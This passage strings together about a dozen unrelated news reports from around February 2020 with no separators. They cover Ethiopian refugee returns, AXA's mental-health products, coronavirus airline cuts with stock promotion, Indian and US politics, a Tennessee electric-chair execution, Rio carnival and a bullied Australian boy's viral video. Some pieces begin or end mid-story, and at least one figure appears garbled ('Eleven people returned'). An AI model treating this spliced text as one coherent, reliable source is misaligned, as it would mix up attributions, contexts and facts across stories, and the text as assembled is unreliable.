of a growing trend in which thousands of Ethiopian refugees in the region are choosing to return home. They are motivated, in part, by the impact of recent political and economic reforms on their homeland. Eleven people returned last year and a further 4,000 are expected to follow this year, out of a total of around 28,500 Ethiopian refugees in Kenya. The majority of the returnees originate from Ethiopias Somali region and have lived as refugees for over a decade. More than half are women and girls, some born and raised in the camp. UNHCR is providing the returnees with a support package that includes cash and transport allowances so they can travel to their places of origin. Ann Encontre, UNHCR's Representative in Ethiopia welcomes the returnees at the airport in Dire Dawa, Ethiopia. UNHCR/Helle Degn Abdirashid Mohumed, 24, smiles as he arrives in Dire Dawa, Ethiopia. He has returned home after being in exile for five years. UNHCR/Helle Degn Some of the newly arrived returnees assemble at a registration desk in Dire Dawa, Ethiopia, to have their details taken. UNHCR/Hanna Genet Louis Lithur, the head of UNHCR's office in Jijiga, laughs with a group of children who have just arrived in Dire Dawa, Ethiopia. UNHCR/Hanna Genet When the plane finally landed in Dire Dawa, the passengers disembarked, looking happy. Staff from UNHCR, led by Ann Encontre, UNHCRs Representative in Ethiopia, welcomed them as did officials from ARRA, the Ethiopian Governments agency in charge of refugees and staff from the International Organization for Migration. All refugees have the right to voluntarily return to their country, when they feel the time is right, in safety and dignity, said Encontre. They come home and establish themselves among their families and villages where they had to flee from and UNHCR is really happy today. The group was registered and given a welcome meal. They spent the night in Dire Dawa before proceeding to Jijiga, the capital of Ethiopias Somali region. The returnees have high hopes for the future, but meeting family and friends come first. I think Ill die of happiness. I just want to celebrate my reunion with my family, said Abdirashid. I want to enjoy that before thinking of doing something for a living. After a long time away, it will be vital for them to receive continued support to restart their lives from the government, UNHCR and other agencies. See also: First major group of Ethiopian refugees return home from Kenya Ardo said she wanted her children, who are 16, 17 and 18, back in school as soon as possible and has ideas for starting a business. Life as a refugee was not easy as I struggled to bring them up and educate them, she said. I will need support from the government and UNHCR for my new life. But first, her priority was to get home and meet her mother and relatives. I think Ill die of happiness, she said. Additional reporting by Samuel Otieno in Kakuma, Kenya, Helle Degn and Kisut Gebre Egziabher in Dire Dawa, Ethiopia In Japan, 60% of people experience moderate to high stress, while one in four people admit to considering suicide, Watson said. One in five people in the Philippines suffer from a mental health problem, including up to 15% of children aged 5-15. Meanwhile, one in five people in Thailand suffer from a mental health problem. Watson also cited a 2018 survey by the City Mental Health Alliance in Hong Kong, in which 37% of respondents claimed to have, at some point in their lifetime, experienced mental ill health while in employment. Other research revealed that 25% of working people in Hong Kong show levels of depression and anxiety that are 2.5 times the global average. All in all, this paints a clear picture of there being a significant need for support in dealing with mental health, both in society as a whole but also in the workplace in particular, he said. This, Watson pointed out, indicates a huge gap in Asias insurance market in providing support for employees mental well-being, especially in Hong Kong. He added that Hong Kongers work the most work hours per week globally, at more than 50 hours on average, and the city has the highest percentage of employees with at least one aspect of work-related stress (64%). Read more: Hong Kong firms fail to support workers mental health needs AXAs own research further underlines the social anxiety and pressure faced by those in the workforce, where Hong Kong people are driven by a need to grow their wealth in order to care for their dependents, meaning they often fail to prioritise their own health needs, he said. The majority agree stress is the main cause of health issues, but struggle to find balance they need help to do so. Support from insurers has been limited mostly to employee health plans providing a hotline for those seeking help on mental health. However, Watson revealed that 69% of staff surveyed said they had never received any education on mental health, and only 8% think firms sufficiently support their employees mental wellbeing. This indicates an opportunity for us to provide products that better meet these needs, while also tackling a serious social issue, he said. On a more positive note, Watson believes that overall awareness of mental health issues is certainly rising. We expect to see more solutions that incorporate psychological support as insurers realise that customers needs when dealing with illness go beyond their physical well-being, he said. New technologies also open up new avenues for treatment for mental illnesses. There is an increasing trend for insurers to leverage new technologies to enhance their offerings and this can enable their customers to get better access to professional help. As for AXAs efforts to improve its support for customers and employees mental health, Watson said that the global insurance giant is taking a multi-pronged approach that includes delivering new or enhanced products that cover mental health, as well as expanding access to resources. According to Watson, AXA Hong Kong is the first insurance company in Hong Kong to redefine traditional employee benefits with tailor-made initiatives for companies to enhance workplace mental health. It has invested in rolling out the Mind Health Programme this year, which provides comprehensive mental health support in three aspects education, prevention, and treatment that can suit employees different needs. Read more: AXA launches mental healthcare scheme in Hong Kong Meanwhile, in Japan, the My Therapy product incorporates new services that take a holistic view to supporting the emotional wellbeing of people dealing with cancer, extending to aesthetic concerns such as wigs and make-up. The company, he added, is also investing in technology in assisting mental health. AXA Hong Kong partnered with the Chinese University of Hong Kong and Oxford VR in April 2019 to pilot an innovative automated immersive therapy using virtual reality (VR) for mental health in Asia. This jointly-supported clinically-validated trial uses VR technology to manage common mental health issues, such as social avoidance, anxiety, and depressive symptoms. In Hong Kong and the Philippines, AXA has launched Emma by AXA, a new app that acts as a fully-fledged health partner to clients. According to Watson, it is a central point for clients to manage their relationship with AXA, and it also provides access to resources and advice on health-related issues, including mental health. Finally, AXA has also implemented inclusive workplace policies, encouraging a culture where staff can bring their whole selves to work and they are supported through flexible work arrangements, he said. Under the banner of the non-profit organisation Shared Value Project Hong Kong, AXA formally pledged in 2019 to take further concrete action to break down barriers in the workplace. The airline industry, already reeling under the effects of the prolonged Boeing 737 MAX groundings, is now bearing the brunt of massive international capacity reductions from China, following the novel Coronavirus outbreak. The deadly virus claimed the lives of more than 2,000 people and infected in excess of 75,000 across the globe. Due to this health crisis, international capacity from China has been reduced by 270,000 seats a week, reflecting an overall decline of 80% since Jan 20, per the latest report from air transport data consultancy OAG. Among the Chinese airlines, China Eastern Airlines and China Southern Airlines are the most affected with the two airlines having slashed capacity by more than 200,000 seats a week. Earlier this month, Cathay Pacific Airways Ltd. CPCAY, the flag carrier of Hong Kong, stated that it plans to cut capacity by approximately 30% across its network over the next two months. The airlines traffic continues to weaken significantly after having slumped in late January as the crisis in China intensifies. Major U.S. airlines, namely Delta Air Lines DAL, United Airlines UAL and American Airlines AAL suspended all flights to and from China. Citing a persistent drop in demand, United Airlines suspended all flights to and from China through Mar 28. Beginning Feb 8, it also suspended flights to Hong Kong. Likewise, American Airlines suspended mainland China flights through March 27 and also halted Hong Kong flights to and from Dallas/Fort Worth as well as Los Angeles through Feb 20 due to decreased demand following the Coronavirus outbreak. Meanwhile, Delta suspended all flights to and from China through Apr 30. While Delta holds a Zacks Rank #2 (Buy), United Airlines and American Airlines carry a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank stocks (Strong Buy) here. IATA Paints Gloomy Picture for Airlines in 2020 Based on preliminary analysis of the effects of the COVID-19 outbreak, the International Air Transport Association (IATA) anticipates a 13% drop in passenger demand for Asia-Pacific carriers. Given that these carriers were expected to witness a 4.8% growth, the net effect of the plunge in demand indicates an 8.2% year over year decrease in 2020 demand. This contraction in demand is equivalent to a loss of $27.8 billion in 2020 revenues for airlines in the Asia-Pacific region. Majority of this loss will be borne by the Chinese carriers. Apart from the Asia-Pacific carriers, other airlines with exposure to the Chinese market are likely to face a revenue loss of $1.5 billion in the current year. With this, the total amount of revenue loss equals $29.3 billion for airlines globally, representing a 4.7% negative impact on global demand. Given the research firms earlier forecast (provided in December) of a 4.1% rise in global revenue passenger kilometer (RPK or passenger traffic), the net impact of the decline in global passenger demand implies a 0.6% fall in the same for 2020. Airlines Recovery From Virus Outbreaks in the Past The airline industry is one of the first to feel the heat of a major outbreak. Drawing a comparison between the impact of the 2003 SARS epidemic and the COVID-19 on airlines, the International Civil Aviation Organization (ICAO) expects the latter to deal a more severe blow to the industry in the wake of greater number of flight cancellations from the rapidly spreading virus outbreak. However, airlines have been quick to recover and proven resilient to shocks including pandemics in the past. For example, during the 2003 SARS outbreak, there was a sharp decline in demand for six straight months with Asia-Pacific airlines witnessing a 5.1% decrease in RPKs. Airlines in the region lost $6 billion in revenues while globally, the industry was affected to the tune of $7 billion. That being said, the recovery was equally quick, per the IATA. Additionally, within the first month of the MERS flu outbreak in 2015, which was restricted within one country, there was a steep fall of 12% in monthly RPKs to, from and within South Korea. However, traffic rebounded just after two months and normal pre-outbreak level of demand followed within six months. Conclusion Despite the airlines ability to overcome setbacks from epidemics easily, 2020 is likely to be a difficult year for the industry given that it is already facing numerous flight suspensions due to the MAX groundings. The capacity shrinkage in turn, is weighing on non-fuel unit costs. Low fuel prices should help airlines partly counterbalance the effect of the lost revenues from the COVID-19 outbreak. More Stock News: This Is Bigger than the iPhone! It could become the mother of all technological revolutions. Apple sold a mere 1 billion iPhones in 10 years but a new breakthrough is expected to generate more than 27 billion devices in just 3 years, creating a $1.7 trillion market. Zacks has just released a Special Report that spotlights this fast-emerging phenomenon and 6 tickers for taking advantage of it. If you don't buy now, you may kick yourself in 2020. Click here for the 6 trades >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Delta Air Lines, Inc. (DAL) : Free Stock Analysis Report United Airlines Holdings Inc (UAL) : Free Stock Analysis Report American Airlines Group Inc. (AAL) : Free Stock Analysis Report Cathay Pacific Airways Ltd. (CPCAY) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Scarlet Lady is the first of four luxury fleet from Virgin Voyages, which aim to redefine the cruise industry by bringing the luxe of a boutique hotel to the seas. Branson said of the launch: I have dreamed of starting my own cruise line since I was in my 20s and Im thrilled that moment has arrived. The Scarlet Lady is truly special and weve worked with some of the worlds most sought-after designers, artists and architects to craft an extraordinary experience. The benefit of our five decades in business in so many industries is that we can offer a voyage like no other. Built in Italy, Scarlet Lady sailed to Dover, where it is currently berthed and will soon make its way to Liverpool and then across to the US with just 18 people on board before making its maiden voyage around the Caribbean in April. Sir Richard Branson's New Luxury Cruise Line Launches In Dover Interiors are courtesy of Roman and Williams as well as Tom Dixon, with bold hues and clashing prints the new hallmark of the fleet. The ship also has a wellness focus, with B-Complex gym programs, group workouts and an outdoor yoga area. Guests will be able to choose from over 20 eateries onboard, including vegetarian-forward cuisine (Razzle Dazzle), experiential creations (Test Kitchen) and concepts by world-class chefs like the Michelin Starred Brad Farmerie (of PUBLIC in NYC) and Sohui Kim (of Insa in Brooklyn). Nisha Biswal, president of the US-India Business Council, told reporters that hopes were fading for the two sides to quickly bridge gaps in their efforts to restore some US trade preferences for India and improve access for selected US agriculture products and medical devices to Indias 1.3 billion consumers Washington: The United States and India are unlikely to reach a limited trade agreement in time for US President Donald Trumps visit to India next week as proposed new Indian tariffs have complicated negotiations, the head of a US-based business group said on Thursday. Nisha Biswal, president of the US-India Business Council, told reporters that hopes were fading for the two sides to quickly bridge gaps in their efforts to restore some US trade preferences for India and improve access for selected US agriculture products and medical devices to Indias 1.3 billion consumers. Were still hopeful that some kind of agreement could be reached, but we do recognise and acknowledge that both governments have been indicating that is unlikely at this juncture, Biswal said. USIBC member companies doing business in and with India had been hoping that more than a year of negotiations would lead to a confidence-building agreement that could set the stage for a more comprehensive trade agreement in the future. Biswal said the group and its parent, the US Chamber of Commerce, were urging Trump to nonetheless use his 23-24 February trip to work with Indian Prime Minister Narendra Modi to stake out a framework for how the worlds two largest democracies can increase their trade and investment opportunities, including steps toward liberalizing Indias insurance sector We know that American companies see India as a priority market for exports, but also see India as a priority destination for investment and locating sourcing and manufacturing. We would like to see steps that can facilitate that, she said. In Las Vegas on Thursday, Trump gave mixed messages about prospects for a trade deal with Modi. Were going to India and we may make a tremendous deal there. Maybe well slow it down, well do it after the election, Trump said at an event on criminal justice reform. So well see what happens, but were only making deals if they are good deals because we are putting America first. In New Delhi, an Indian Foreign Ministry spokesman said India will not rush into a trade deal with the United States, saying there needed to be a balanced outcome. Tennessee Executes Convicted Killer by Electric Chair A death row inmate convicted more than three decades ago of stabbing a fellow prisoner to death over a drug deal gone bad was executed in the electric chair in Tennessee on Feb. 20. Nicholas Sutton, 58, was pronounced dead at 7:26 p.m. at the Riverbend Maximum Security Institution in Nashville. Sutton was the fourth inmate executed in the United States this year and the first in Tennessee. Since 2018, four other U.S. inmates have died in the electric chair. Asked if he had any last words, Sutton looked directly into the witness room and spoke clearly. I would like to thank my wife for being such a good witness to the Lord, and my family and many friends who loved and supported me and tried so very hard to save my life, Sutton said. He also spoke of his Christian faith, saying that Jesus Christ had fixed him. He added, Im just grateful to be a servant of God, and Im looking forward to being in his presence. Sutton was sentenced to death in 1986 for killing fellow inmate Carl Estep in a conflict over a drug deal while both were incarcerated in an East Tennessee prison, where Sutton had been serving time for the killings of his grandmother and two others when he was 18. No family members of either Sutton or his victims witnessed the execution. Tennessee Department of Correction spokeswoman Dorinda Carter told reporters that Sutton had asked his family not to be present. Only relatives of Suttons last victim, for whose murder he was sentenced to death, were allowed to witness the execution. None did. However, the sister of one of Suttons earlier victims, John Large, was present in the prison. After the execution, Carter read a statement from Amy Large Cook that said, in part: John was denied the opportunity to live a full life with a family of his own. My children were denied meeting a wonderful man who would have spoiled them rotten and loved them with all his heart. He suffered a terrible and horrific death, and for that I will never forgive Mr. Sutton. Suttons supporters, including several family members of his victims and prison workers, had recently asked Gov. Bill Lee to commute the sentence, saying Sutton had rehabilitated himself in prison and was not the same person who first entered prison 40 years ago. His supporters included two prison workers who credited Sutton with saving their lives. Retired Correction Lt. Tony Eden had stated in an affidavit included with Suttons clemency petition that Sutton confronted a group of armed inmates during a prison riot in 1985 and helped get Eden to safety. If Nick Sutton was released tomorrow, I would welcome him into my home and invite him to be my neighbor, Eden wrote. Gov. Lee said Wednesday that he would not intervene to stop the execution. And two last-ditch appeals to the U.S. Supreme Court were denied Thursday evening. Sutton was serving time at the Morgan County Regional Correctional Facility for three murders when he carried out the prison slaying in 1985, according to court documents. On the morning of Jan. 15, Sutton and Thomas Street entered Carl Esteps cell and stabbed him 38 times in the chest and neck with two homemade knives, prosecutors said. According to court records, four inmates testified they saw the men enter the cell and heard screaming. One of the inmates said he saw Sutton hold a knife to Esteps throat during a physical discussion two days before. One of the inmates also said Estep was a marijuana dealer at the facility who had sold the men bad merchandise and refused to refund their money. He testified that after the men took Esteps watch, Estep had threatened to kill Sutton. In 1986, a Morgan County Criminal Court jury convicted Sutton of first-degree murder and sentenced him to death. Street was convicted and sentenced to life in prison. A third man who was accused of taking part in the attack was acquitted. The Associated Press and Reuters contributed to this report Mr. Grenells sycophantic pandering to Mr. Trump suggests he will show no such independence. Before being elevated by the president to the Berlin ambassadors post, his government experience amounted to working in the early 2000s as a U.S. spokesman at the United Nations, where he was known for nasty disputes with journalists. In Berlin, he quickly made himself unwelcome with public attacks on German government policies and outspoken support for right-wing nationalist movements around Europe. Though he cant necessarily be blamed for Mr. Trumps dismal standing among Germans 13 percent said in a recent Pew Research Center poll that they had confidence in the U.S. president to do the right thing regarding world affairs, the lowest figure in Europe Mr. Grenell certainly contributed to it. By Trend The state visit by Azerbaijani President Ilham Aliyev to Italy is historic, Domenico Letizia, Italian economic and geopolitical analyst, who is cooperating with Imprese del Sud Think Tank, told Trend. This is the first state visit by Azerbaijani President Ilham Aliyev to Italy, with which excellent relations are maintained in the political, economic, cultural and scientific fields, Letizia noted. This successful visit is a significant step towards the development of relations between Azerbaijan and Italy. The Italian analyst noted in particular that the joint declaration signed between Azerbaijan and Italy during this visit is a new stage in bilateral relations. Letizia added that the meetings held by the Azerbaijani president with Italys senior officials, as well as with representatives of Italian companies representing various fields, are the basis for the development of commercial and business exchanges. The Azerbaijani-Italian business forum, which is being held as part of this historic visit, is also of particular importance in the development of relations, in particular in such areas as agriculture, production of industrial equipment, transport and infrastructure, ICT, energy and environmentally friendly technologies, said the analyst. Italy and Azerbaijan are important partners, Letizia added. Azerbaijan maintains strong commercial relations with Italy not only in the energy sector, but also in other sectors of the economy. Azerbaijan has taken a course to diversify its economy, and Italy in this aspect can play an important role, including in sectors such as agriculture, infrastructure and IT services. The capabilities of the Port of Baku and free trade zones are also important in the expansion of bilateral economic relations. However, the energy component is also a priority, given the active implementation of the Trans Adriatic Pipeline (TAP) project, the Italian analyst said. The implementation of the TAP project is of particular importance for Italy, since this project will allow the country to overcome energy problems and turn into European gas hub, Letizia noted. By the end of 2020, Azerbaijani gas will go to Italy and from there will be delivered to other European countries. This project will significantly change the energy map of Europe and will increase competition in the continents gas market. The analyst said that the state visit by President Ilham Aliyev to Italy is also timed to coincide with the opening of the Year of Azerbaijani Culture (2020) in Italy. As part of this event, shows, theater performances, concerts, exhibitions and meetings throughout Italy will be held within ten months, and this will allow Italians to get even closer acquainted with Azerbaijans traditions and culture, Letizia added. Coronavirus outbreak postpones DXpedition The ARRL report the W8S DXpedition to Swains Island in the Pacific, set to take place in mid-March, has been postponed until Fall due to coronavirus travel restrictions The ARRL story says: Travel restrictions have been imposed on individuals entering American Samoa, stemming from the recent coronavirus outbreak. The Department of Health allows non-residents to enter American Samoa only via Hawaii after a 14-day mandatory quarantine in Hawaii, and the DXpedition was unable to accommodate that requirement. Everything is prepared for our DXpedition, and we are eager to go, but unfortunately the coronavirus outbreak is out of our control, the DXpedition team said in announcing the delay. Although this is a disappointment for everyone, the W8S DXpedition is not cancelled, but just postponed for later this year. The DXpedition said it would alert the DX community as soon as it has new firm dates for the trip. W8S Swains 2020 https://swains2020.lldxt.eu/ Source ARRL http://www.arrl.org/news/coronavirus-outbreak-postpones-swains-island-w8s-dxpedition No one needs to fear about the Citizenship Amendment Act (CAA) and the National Population Register (NPR) is not going to throw anyone out of the country, Maharashtra Chief Minister Uddhav Thackeray said in New Delhi on Friday, after meeting Prime Minister Narendra Modi. IMAGE: Prime Minister Narendra Modi with Maharashtra Chief Minister Uddhav Thackeray and state minister Aaditya Thackeray in New Delhi. Photograph: @PMOIndia/Twitter The Shiv Sena chief said an atmosphere is being created in the country that the National Register of Citizens (NRC) is 'dangerous' for Muslims, but added that the exercise will not be carried out in Maharashtra. Talking to reporters after his meeting with Modi that lasted nearly an hour, Thackeray said he had a discussion on the CAA, the NPR and the NRC. "I have made my stand clear on all these issues. No one has to fear about CAA. I had said CAA is not a legislation to throw anyone out of the country," the Shiv Sena chief told reporters. His son Aaditya Thackeray, also a minister in his cabinet, accompanied him during the meeting. IMAGE: Congress president Sonia Gandhi with Uddhav Thackeray and Maharashtra Tourism Minister Aaditya Thackeray in New Delhi. Photograph: PTI Photo This was Uddhav Thackeray's first visit to the national capital after taking over as the chief minister of Maharashtra. He later met Congress President Sonia Gandhi, veteran BJP leader L K Advani and Union Home Minister Amit Shah. Thackeray's Shiv Sena was earlier a part of the Bharatiya Janata Party-led National Democratic Alliance, but formed the 'Maha Vikas Aghadi' government in Maharashtra with the Congress and the Nationalist Congress Party after parting ways with the saffron party. The Congress and the NCP, along with some other opposition parties, have been critical of the CAA-NPR-NRC, and the matter has created discord among the Maharashtra alliance partners. Thackeray said the Centre has already made its stand clear in Parliament that NRC will not be implemented across the country. Sources said the leaders discussed the functioning of the state government. IMAGE: Uddhav Thackeray greets senior BJP leader L K Advani during a meeting in New Delhi. Photograph: Vijay Verma/PTI Photo "Talking about NPR and Census...the census happens every 10 years and it is important that it takes place. I have assured all the citizens of my state that no one's right will be taken away. "An atmosphere is being created about NRC that it is going to be dangerous for Muslims," he said. Thackeray said the NPR is also not to drive anybody out of the country. "Chief minister Thackeray has his own view over the issue. We have voted against CAA. We have a coalition government in Maharashtra and we will have a discussion on it soon," NCP leader Sharad Pawar had said earlier this week, giving an indication of differences over the issue. Thackeray, however, ruled out any discord. "There is no friction among the allies. We are going to run the government for five years," he said. Elaborating on his meeting with Modi, Thackeray said he had good discussions with the prime minister on the issues concerning the state. "I (Thackeray) told him that whatever political developments that have taken place, Maharashtra should get cooperation from the Centre. He has promised me...Centre's cooperation," he said. 'The Chief Minister of Maharashtra, Shri Uddhav Thackeray as well as Minister in the Maharashtra Government, Shri @AUThackeray called on PM @narendramodi. @OfficeofUT,' the PMO tweeted. IMAGE: Uddhav Thackeray addressing a press conference in New Delhi along with Aaditya and Shiv Sena leader Sanjay Raut. Photograph: Atul Yadav/PTI Photo The chief minister also discussed issues pertaining to the payment of Maharashtra's share in the GST collections and non-availability of crop insurance companies under a government scheme in 10 districts of the state. ***** Several Maha issues discussed with PM: Aaditya Thackeray Maharashtra Tourism Minister Aaditya Thackeray on Friday said various issues relating to the state figured in the meeting between Chief Minister Uddhav Thackeray and Prime Minister Narendra Modi in New Delhi. In a series of tweets after the meeting, he said the issue of Goods and Services Tax compensation to Maharashtra, the Pradhan Mantri Fasal Yojana, the Central road fund, Baliraja Sanjivani Yojana and pending proposals, as well as those related to the Punjab and Maharashtra Cooperative bank, were discussed with the prime minister. Aaditya, who holds the state environment and protocol departments as well, said he discussed environmental issues including electric mobility, renewable energy, solar powering highways and the ban on single use plastic. 'I briefed him about urban forests we are creating in Maharashtra,' he said. Metro Manila (CNN Philippines, February 21) Filipinos from Wuhan, China were cleared to go home as they exhibited no signs and symptoms of the novel coronavirus (COVID-19) after their 14-day quarantine. According to the Department of Health (DOH) Friday, the 30 Filipinos and 19 others who handled the repatriation had no fever, cough, or sore throat during their 14-day stay at the New Clark City Athletes' Village in Capas, Tarlac. We are glad that our repatriates are all well and safe from COVID-19. Our repatriation mission is not possible without the dedication and cooperation of the entire Interagency Task Force for Emerging Infectious Diseases with all its member agencies, said Health Secretary Francisco Duque III. Meanwhile, a new batch to be quarantined will arrive on Sunday. The 460 to 480 Filipinos are from the virus-hit M/V Diamond Princess Cruise Ship docked in Yokohama, Japan. Presidential Spokesperson Salvador Panelo said government agencies are preparing to execute the repatriation plan. He said there will be two chartered flights to fetch the Filipinos from Haneda Airport. "The Office of the President also assures the public that all precautionary measures and safety protocols are in place for the seamless repatriation of our countrymen from Japan," he said Friday. Manning agency Magsaysay Maritime Corporation will shoulder the costs of accommodation,food, and other peripheral items, the Health Department said. The Department of Transportation will offer assistance in transporting the returning Filipinos from the Haribon hangar in Pampanga to the quarantine facility. The Health department said 139 people are under observation for the novel coronavirus, including 106 from Metro Manila. Is NCC prepared to handle 500 evacuees? Capas town Mayor Reynaldo Catacutan again appealed to the national government on Filipinos from the cruise ship who will also stay at the Athletes Village, expressing concern over the bigger number of people. Now as of the 500 Filipinos more or less, 500 is a number that for me is too much to handle. And if you are not prepared, malaki po to. Talagang marami kung ikukumpara sa bilang ng mga Pilipino na nasa pangangalaga ngayon ng DOH sa New Clark City, he said. [Translation: Now as of the 500 Filipinos more or less, 500 is a number that for me is too much to handle. And if you are not prepared, this is a big number. It is a lot compared to the number of Filipinos who are now under the care of DOH in New Clark City.] Catacutan said they extended help to the Filipinos from Wuhan despite the issues of what he called non-coordination and non-consultation. Bilang ama ng Capas, inuulit ko po [Translation: As the father of Capas, I will say this again.] I have to consider the safety and welfare of my people. May these circumstances be thoroughly weighed and the responsibility be shared in accordance with the capacity of each to handle the situations like this, he said in a video post on Facebook. Catacutan suggested that evacuees from Visayas and Mindanao be sent to their home regions, so that they can also be closer to their families. Those from Luzon can stay in New Clark City, he added. We sincerely suggest na hatiin sana po ang kanilang bilang at mailagay sa iba pang mga facilities na kayang i-secure gaya po ng NCC o mas appropriate pa kaysa dito para mas ma-accommodate sila at walang overcrowding, he said. [Translation: We sincerely suggest that the number of evacuees be divided and place them to other facilities that have the capacity of the NCC, or even better in order to accommodate them and avoid overcrowding.] The sanctuary at her evangelical mega-church in Rio de Janeiro is where Eleonor Teresa Sousa comes to feel closer to God, and farther from the sin of a city gearing up for carnival. Sousa, 75, proudly counts herself among the conservative Christians in Brazil who condemn the show planned this year by the reigning champions of Rio's world-famous carnival, the Mangueira samba school. Mangueira will parade Sunday in the first of two nights of flesh-flaunting, sequin-studded spectacle by 13 samba schools vying to be this year's champions. Worse, to the fundamentalists, is the story all those glittering bodies will tell. In a Brazil deeply polarized by President Jair Bolsonaro's far-right politics, Mangueira is planning a show with a message: It will depict Jesus returning to Earth in one of the city's impoverished favelas, in the body of a black woman with indigenous roots, and preaching a message of tolerance. That has ignited inevitable controversy in Brazil, where Bolsonaro has the fervent backing of a burgeoning conservative Christian community, and many people are talking of a "culture war" since he took office last year. Sousa, who belongs to one of Brazil's biggest churches, the Universal Church of the Kingdom of God, which claims eight million members in the country, said she feels "completely offended." "That's not the Jesus of the Bible. It's blasphemy," she said after her morning prayers. More than 100,000 people have signed an online petition accusing Mangueira of "defiling the son of God," launched by a conservative Catholic group, the Plinio Correa de Oliveira Institute. Revisionist versions of Jesus are already a touchy subject in Brazil. Last year, the Brazilian comedy film "The First Temptation of Christ" depicted Jesus as gay, causing outrage among conservative Christians when it premiered on Netflix. On Christmas Eve, masked attackers fire-bombed the production company's offices. - 'Cry against fascism' - People tend to see things differently in Mangueira, the poor favela that is home to the samba school, where the hillside shacks have a view -- albeit distant -- of Rio's iconic Christ the Redeemer statue, his arms outstretched over the city. "This (show) is a cry of freedom from Mangueira against the fascism that's taken over our country," said Marcus Portugal Feital, 61, a member of Mangueira's "community wing." "This is the real Christ, the one who protects the vulnerable, the blacks in the ghettoes: everything Bolsonaro and company don't do," he added outside a recent Mangueira rehearsal, as hundreds of people danced and sweated to the thundering beat of the percussion section inside. "If Jesus Christ came to the world today and was born poor in a favela, he would be massacred," added fellow member Consuelo Cavalcante, 58, referring to a surge in police killings in Rio de Janeiro state since Bolsonaro took office. The show's central samba song features a veiled protest against Bolsonaro's version of Christianity and his hardline policies. One lyric rejects the idea of a "Messiah with gun in hand." "Messiah" (Messias, in Portuguese) is gun-rights advocate Bolsonaro's middle name. - License to offend - There is a long history of tension between carnival -- the last lascivious free-for-all before the 40-day asceticism of Lent -- and conservative Christian values. But in Bolsonaro's Brazil, carnival has become particularly politicized. Mangueira won last year with a show that paid tribute to Rio councilwoman Marielle Franco, an outspoken black and lesbian activist who was murdered in 2018. Other schools have also picked politically charged themes this year, including the environment and indigenous, black and women's rights -- all issues on which Bolsonaro regularly offends his critics. Adding to the climate of division, Rio's current mayor, Marcelo Crivella, an evangelical pastor, has openly criticized carnival's booze-driven escapades and eliminated the 28 million reals ($6.4 million) of annual public funding to the top samba schools. Politics has always been part of carnival, going back to the abolition of slavery in Brazil in the late 19th century, said historian and writer Luiz Antonio Simas. "But there are times when that's more explicit... And this is one of those times," he said. "The rise of a reactionary, ultra-conservative government allied with... Christian fundamentalists has naturally created a clash with the carnival community." A rare crown dating back to the 18th century has reportedly been handed to Ethiopia in a ceremony in Addis Ababa. Prime minister of Ethiopia, Abiy Ahmed, assumed the custody of the historic artifact returned to him by Sigrid Kaag, the Dutch minister for foreign trade and development cooperation. Sirak, a political refugee who fled Ethiopia in the 1970s during Red Terror purges, had concealed the ornate bronze crown in an apartment in Dutch port City, Netherlands. The Ethiopian authorities said that the priceless crown had been missing since 1993, confirmed reports. Abiy reportedly expressed gratitude to the Dutch officials who facilitated the search for the precious crown and arranged for a handoff ceremony. He thanked Sirak Asfaw, who found the crown and felt comfortable giving it away. Read Dutch Farmers Protest In The Hague Against Emissions Policy Read Dutch Police: 2 Suspected Letter Bomb Blasts; No Injuries Today #Ethiopia receives a precious crown stolen several years ago and taken to the #Netherlands. I am grateful to Sirak Asfaw and the Netherlands government for facilitating its return. @NLinEthiopia @Landoforigins pic.twitter.com/BDwdaoo7io Abiy Ahmed Ali (@AbiyAhmedAli) February 20, 2020 Crown had "disappeared" from the Holy Trinity Church The Dutch government confirmed Thursday that the crown had "disappeared" from the Holy Trinity Church in Cheleqot, a village in northern Ethiopia, said reports. Sirak reportedly said last year that the missing crown was recovered in April 1998, while he was looking for a document in a suitcase an unknown guest had handed him. He said that he was shocked to find the glistening crown after years, he then confronted the visitor, who he maintains anonymity for, and held on to the crown for more than two decades. According to the reports, Sirak didnt trust the authorities in power in Ethiopia until Prime Minister Abiy Ahmed took office in 2018. He said that he wasnt comfortable handing over such priceless cultural heritage onto strange hands or officials of the authoritarian regime that governed Ethiopia at the time. The Ethiopian government contacted Arthur Brand, a renowned Dutch stolen art detective dubbed the "Indiana Jones of the art world" for his discoveries of missing works, who brought the word to the Dutch government. The crown is a unique artifact that features images of Christ and twelve Apostles. Read Pompeo, Ethiopias PM Discuss Countrys Dramatic Reforms Read Leaders Of Somalia, Breakaway Somaliland Meet In Ethiopia Hugh Jackman has spoken out after footage of bullied child Quaden Bayles telling his mother he wanted to kill himself went viral earlier this week. The Les Miserables star, 51, told the nine-year-old schoolboy, who has the most common type of dwarfism called achondroplasia, that he'll always be his friend. Hugh also sent a powerful message to Quaden's bullies, saying that 'life is hard enough' without people going out of their way to upset others. 'You're stronger than you know': Hugh Jackman has spoken out after footage of bullied child Quaden Bayles telling his mother he wanted to kill himself went viral earlier this week 'Quaden, you are stronger than you know, mate,' Hugh said in a video shared with his 14 million Twitter followers. He added: 'And no matter what, you've got a friend in me.' Hugh, who is best known for playing Wolverine in the X-Men film franchise, went on to urge his fans to 'please be kind to each other'. 'Bullying is not okay': Hugh, 51, told the nine-year-old schoolboy (pictured), who has the most common type of dwarfism called achondroplasia, that he'll always be his friend 'Bullying is not okay. Period. Life is hard enough,' he said. 'Let's just remember every person in front of us is facing the same kind of battle. So let's just be kind.' Hugh has previously spoken about setting a good example for his children, Oscar, 19, and Ava, 14, whom he shares with his wife, Deborra-lee Furness. 'My kids have so many advantages. And I want them to know that they have a responsibility to use those advantages to help others,' he said in June 2018. 'My kids are constantly reminded about how lucky we are in our family. We're ridiculously blessed.' Heartbreaking: In the distressing viral video, which has been viewed more than three million times, Quaden pleaded with his mother, 'Give me a rope, I want to kill myself' Fellow actor Jeffrey Dean Morgan, who plays villain 'Negan' in The Walking Dead, also reached out to Quaden on Twitter. 'What I want you to know is that you have friends, me included. I am your buddy. You haven't met me yet, but we'll see if we can change that. Maybe your mom can DM me,' he said. 'You have a bunch of friends out here, out in the world that you haven't met yet. We're here, we got your back. You need to know that. It'll get better.' Meanwhile, the Indigenous All Stars NRL team has reached out to the Bayles family, inviting Quaden to walk them onto the pitch on Saturday. 'You have friends, me included': Fellow actor Jeffrey Dean Morgan, who plays villain 'Negan' in The Walking Dead, also reached out to Quaden on Twitter In the distressing viral video, which has been viewed more than three million times, Quaden pleaded with his mother: 'Give me a rope, I want to kill myself. 